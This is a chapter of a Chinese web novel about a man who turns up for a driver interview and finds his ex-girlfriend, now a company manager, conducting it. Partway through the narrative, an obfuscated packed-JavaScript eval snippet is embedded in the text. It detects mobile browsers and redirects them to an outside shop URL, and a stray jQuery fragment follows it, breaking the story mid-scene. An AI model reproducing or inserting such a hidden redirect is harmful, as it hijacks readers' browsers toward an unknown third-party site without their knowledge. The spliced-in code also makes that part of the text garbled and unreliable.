“没。”
扶晓对白书盘的反应些微意外,稍微思索大抵是对方觉得寒桥分部在这种人员流程上过于松散。
淡淡猜测,“大概是我那位亲哥一直都配有司机,所以按照惯例招聘了,你要是觉得不合适,剔除就是了。”
“那倒不是。”
白书盘从来都觉得扶晓这种凡事亲力亲为,开车路上都能打个电话会议的人,比任何人都需要位司机。
只是这位求职者的专业和工作经验,无论是哪一条都看不出能胜任这一职。
“我想这位求职者大概是填错了意向职位,但根据他的经验来看,又和目前招聘的各项岗位都不太匹配。”
白书盘含蓄地评价一番,扶晓听明白了他的意思,不过兴许是时隔多年再来寒桥,她莫名其妙地对这种平时不会理会的小事起了点好奇心。
“拿来我看一眼。”
白书盘将简历递过去,打印出来的还残着点油墨味的纸张上,印着一份简略而一览无余的信息。
姓名:温过冬
性别:男
……
过往工作经历:大学助教,健身教练,运营,创业人
应聘岗位:司机
单就简历来看连合格线都没到,对于工作经验略写到极致,自我评价上更是只有个字:略。
见扶晓半天没说话,白书盘觉得他刚才的评价还是太含蓄了些。
“我直接剔除吧。”他可不想让这种程度的东西浪费扶晓的时间。
“不用,找个时间让这位过来面个试。”
扶晓捏紧了手里的那页纸,“我正好需要一位司机。”
接到面试电话的那天,温过冬刚睡醒没多久,王珍妮女士一边骂他没有眼力见不懂得约人家小姑娘出去吃顿饭,一边把早上吃剩下的蛋炒饭端出来。
温过冬挠了下后背,连打了两个哈欠,拿起勺子往嘴里塞了一口,感叹王珍妮女士做的蛋炒饭才值得六百大洋。
还没来得及用这种他听了都感动的话堵住外婆的嘴时,搁在桌上的手机振动起来,他拿起瞧了一眼,是个陌生电话。
这样的陌生电话自打他关店后接了无数次,已经形成肌肉反应的大拇指直接滑向拒听。
而按照常理,电话那边一天拨通一次就算是完成了任务,但今天大概是格外需求业绩,孜孜不倦地连着拨了三四通,振动声叫有些耳背的王珍妮女士都听得见了。
“有电话打给你不接做什么?”她恨铁不成钢,“万一有人有急事找你呢?”
温过冬干脆来了个免提模式,手托腮眼朝天,“哪位?”
“你好,请问你是温过冬先生吗?”
“是我,怎么了?”
温过冬等着接下来的广告时间。
“我是茂行集团寒桥市分部公司的人事,我这边收到你的应聘简历,想约你来公司面试一下,请问今天下午三点有时间吗?”
温过冬一时没反应过来。
茂行集团?那个大企业真的给他打电话了?
他们真缺一个没干过司机的司机?
“温先生?”
电话那边又问了句。
“哦,有时间。”
“好的,请你今天下午三点准时到新城区茂行大厦来面试。”
电话挂断,这间坐落于上城区的两居室老破小短暂地陷入了沉默。
几秒钟后王珍妮女士猛地拍了几下温过冬的后背,“哎哟,没想到你还背着我上进呐,竟然这么快就找到新工作了,蛮好蛮好,咱们没必要捣鼓什么创业了,那个店面子就租出去好啦,你外婆我也不用到处捡瓶子了。”
“谁强迫你去捡了。”
温过冬嘟囔着,扫了眼堆在玄关处被压扁又被码得整整齐齐的塑料瓶,心说她要是知道应聘的是司机还不知道是什么反应。
但缓过神来,他为什么要答应这个面试?
明明拒绝了,就能和黄赞赞划清界限了。
往深了想,他那样的简历都能通过审核,保不齐对方的朋友真的有点来头,万一过去面试直接被录取就麻烦了,他可不想无缘无故欠别人一个人情,再用自己一个大活人去还这个人情,那可真是倒反天罡了。
要么就不去面试了吧,温过冬觉得这事还有转圜的余地。
此刻离下午三点还有两个小时,他吃完饭再一个回笼觉直接睡到夜里,什么面试全都没了,想来茂行那么大的企业,也不缺他这么一个不专业的司机和一个没有守时观念的员工。
这么想着,温过冬吃饭的速度加快了几分,总算塞完最后一口回到房间,才发现王珍妮女士不知道什么时候摸进来,开了他的衣柜给他搭了几套衣服。
“穿这套过去面试,保准能成功,精神的很!”
她拿了件温过冬多少年没穿过的白衬衫比划着,乐的鱼尾纹高耸地堆在一块。
“别了,一个面试而已,要不要我还不一定呢。”
温过冬没忍心和这位八十老太坦白他现在只想当个躺平咸鱼,抓过衬衫往床上一扔,“再说应聘那岗位也用不着穿成这样。”
“管人家怎么想,你先把自己打扮得漂漂亮亮的。”
“什么漂漂亮亮……”
王珍妮女士不依不饶,继续往他身上搭起衣服来,温过冬看她那副样子,能想象得到他今天要是不出门,大约能被她念叨一整个月加怄气半个月不给他做饭。
长痛不如短痛,眼睛一闭衣服一套,温过冬赶在定好的时间前半小时打了辆车出了门。
下午三点零五分,温过冬从茂行集团一楼前台刷了门禁上电梯进十七楼,被工作人员接待着进了一间会议室。
从以往经验来看,这是他目前为止经历过的最高规格的一次面试,放在往常他都会在面试官开始前打一遍腹稿,再指望自己能超常发挥被慧眼识珠。
但这回他只是来走个过场的,他巴不得面试官一个问题过后就找个理由把他打发出去。
正胡思乱想,一位干练的短发女人推开会议室门朝他看了眼,但人并没有马上进来,听着像是在和外面的人说着什么。
温过冬下意识调整了下姿势,等着接下来的流程,垂眸再抬眼的功夫,就见两个人走进来,一位是短发女人,另外一位,是他已经很多年没见过的扶晓。
会议室门被关上,短发女人自我介绍完,又对温过冬介绍着扶晓的身份,随后拿起他的简历,开始了面试环节。她吐字清晰,发音流畅,如果没意外大概率考过普通话证书,但此时此刻,温过冬硬是没听清楚对方说了什么,问了什么。
他的视线始终虚虚地落在两人中间的空隙,那儿对着落地窗,此时此刻闪着灼眼的太阳反光和虚幻的街景。
而扶晓就在虚幻的街景边自如地坐着,她穿着休闲款的白色棉麻质地衬衫,配着条垂坠感的白色西裤和一双白色的窄根高跟鞋,再往上是她精致的锁骨,和锁骨上一条银质的项链。
目光上移,是扶晓那张格外清晰的、无法用言语描述的漂亮而天生冷淡,令人过目不忘的脸。
“温先生?”
代淇又问了遍,有些不确信地看了眼身侧的扶晓。
她已经在茂行举行过几场面试,基本上在第三轮时,白总助才会看情况询问扶晓要不要亲自进行终面,而目前为止扶晓还没抽出时间应付这种事。
因此眼前这位应聘司机岗位的温过冬,是扶晓在这里第一个面试,还是主动要求在第一轮面试的人。
代淇在这之前做足了准备,虽然只是个司机岗位,但能被扶晓从那么简洁甚至说粗糙的简历中看出点不同名堂的人,应该有他的过人之处。
但到现在,从她们两人进来开始,这位温过冬先生都像是神游一样,连个最起码的自我介绍都没有。
“哦,你……们好,我是温过冬。”
温过冬忽然确信了一件事,他今天之所以能来这里,不是黄赞赞的朋友牵线,而是因为扶晓有意搭桥。
“你好。”
代淇收回不确信的眼神,“劳请自我介绍下?”
“我没有做司机的经验。”
扶晓找他过来是为了什么,温过冬猜不出来,但要他在扶晓面前述说这些年他具体都做了什么,他做不到。
想到此他就要起身离开,“抱歉,让你白忙一趟。”
“诶,怎么?”
代淇头头一回见到这种情况,跟着站起来,“你是有什么顾虑?”
“让我和他单独聊聊吧。”
扶晓岿然不动,“怎么说都是老同学,我想会给我这个面子的。”
代淇得了个不意外的信息,心领神会地朝温过冬比了个请的姿势,把这间会议室留给了两人。
“你找我有什么事?”
温过冬深吸了口气,重新坐了下来。面前的扶晓叠着腿,摸出根烟点上了,举止优雅地吞/吐一口,目光才和他的交汇到一处。
“不瞒你说,我确确实实需要一位司机。”
“那你应该很清楚,我应聘司机这件事是场误会。”
“我才回寒桥,不太清楚。”
四目相对片刻,温过冬率先撤退,扶晓的视线这回没有阻拦地落在他的脸上。
平心而论的话,温过冬这张脸很难评价,光是那双眼角微微下垂,不管看什么都亮晶晶的眼睛,就很难用一个帅或者俊来概括。
如果非要用什么词来形容的话,扶晓从前觉得是可爱,而现在褪去了青涩的温过冬很漂亮,甚至到了艳丽的程度。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916686|213352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我只知道你投递了简历,而我恰好看到了。”
“那你现在清楚了。”
扶晓注视的视线让温过冬觉得过于漫长,漫长到明明置身于冷气很足的空调室内,他也觉得身体在发热。
而直到这个时候,他才想起来身上穿的是王珍妮女士给他搭配的衣服,一件很长时间没穿过、现在套在身上有些紧绷的白衬衫,以及一条破洞牛仔裤。
这样的穿搭放在平时,他只会对着镜子只会来个一万遍“我真帅”的评价,但现在莫名地和对方在上衣的选择上有些微地一致,却又明显地低廉和局促,让温过冬感到不自在,他迫不及待地想要结束这场近乎于审视的谈话。
“没什么事的话我先走了。”
温过冬有些干巴地说。
“请你再考虑一下。”
扶晓又吸了口烟,这回叫温过冬闻出些若有若无的薄荷气味。
“如刚才所说,我回来没几天,在这里还没有熟人,需要个知根知底的人帮我开车,你要是愿意的话,工资随便提。”
清浅而淡漠不自知的语气叫温过冬搁在门把上的手用了些力道,明明是她有求于人,为什么说起话这么像施舍?
“如果你愿意考虑的话,留个我的联系方式吧。”
扶晓的声音忽然出现他身后几步远的地方,温过冬心脏漏几拍,回头看去便见她一只手夹着还没完全燃干净的烟,另一只手亮着手机界面。
“我想你应该也想直接点。”
直接点?
什么意思?
是直接拒绝她?还是不通过别人的传述来回答她?
“叮”的一声,疑惑淹没在好友添加成功的情绪里。
温过冬看着对方更新过账号但依旧和从前一样的头像陷入沉思,直到他人顺着电梯回到茂行大楼门前,依旧觉得刚才发生的一切都像是一场梦。
交往过两次,被分手过两次,让温过冬觉得大概率老死不相往来的前任,就这么突然出现在眼前,还因为彼此熟悉而请他做司机。
一种荒诞感遍及全身,让温过冬甚至怀疑起来黄赞赞是不是和她提前串通好的。
他冲动地拉来界面找到了黄赞赞的头像,但一串文字打打删删,终究还是作罢。
他能怎么问?
你和我前任联合起来,就是为了让我给前任当司机,这种事说出来谁愿意相信?何况应聘司机这件事是他临时起意,要是重来一次,他说不准会应聘个后勤搬运工也说不准。
手中那根烟抽完时,扶晓才回了办公室换回帆布鞋,代淇隔了几分钟在办公软件里问她应聘结果,扶晓看了眼笔记本上弹出的白书盘设置的备忘录,上面显示三天后晚上六点钟,扶星在茂行酒店订了接风宴。
原本这场什么作用都起不到的饭局扶晓压根不用理会,但鉴于那封邀请的邮箱是群发,不少骨干员工都收到要为她这个新来的总经理接风。她不出席的话,饭局大约会变成批判局。
扶晓给代淇回复了条:这位求职者在考虑,三天后询问结果。
代淇言简意赅地回复了个明白,随后调出了这位温过冬先生投递简历的记录,不出意外地,对方没有经过什么招聘软件,也没有投递应聘邮箱,他的简历凭空出现在存档内,很显然是之前的人事部给开的小窗。
看到这里代淇觉得已经足够了,她只需要知道来龙去脉,至于用什么人,不是她能决定的。
三天后下午五点一刻,白书盘代替扶晓参加的视频会议结束,以最效率的速度给扶晓发送了一篇会议纪要,同时提醒她,离扶星举办的宴会开始时间没多久,而茂行高端档酒店坐落在江边,需要提前出发,以免落得个不接地气的名声。
扶晓出发前看了眼私人微信上干净的页面,换上了双高跟鞋。
扶晓的那句“你再考虑一下”,完全没有按照套路那样在他回程的路上就开始打电话催问结果。
面试后的三天内,无论是电话还是新添加的好友头像都是一动没动。
兴许只是个玩笑罢了,这种大企业的领导,怎么可能会缺一个司机?
温过冬给这件事下了结论,扔了手机决定先睡一觉再说。
脸才埋进被子里没两分钟,沉寂多时的手机忽然振动了两下,他一时愣住,又等了几秒,再次听到振动声后才猛地弹起来,滑开手机一看,左金科顶着他那二胎好大儿流口水的头像闪动着。
“你那店流程走完了?”
“来我店里喝点吃点?”
“别老宅在家里,这个世界还是很美好的。”
……
温过冬差点要把手机甩出去,却在对方发来的最后一条消息上停住了——
“听说你初恋来寒桥了,你知道这件事不?”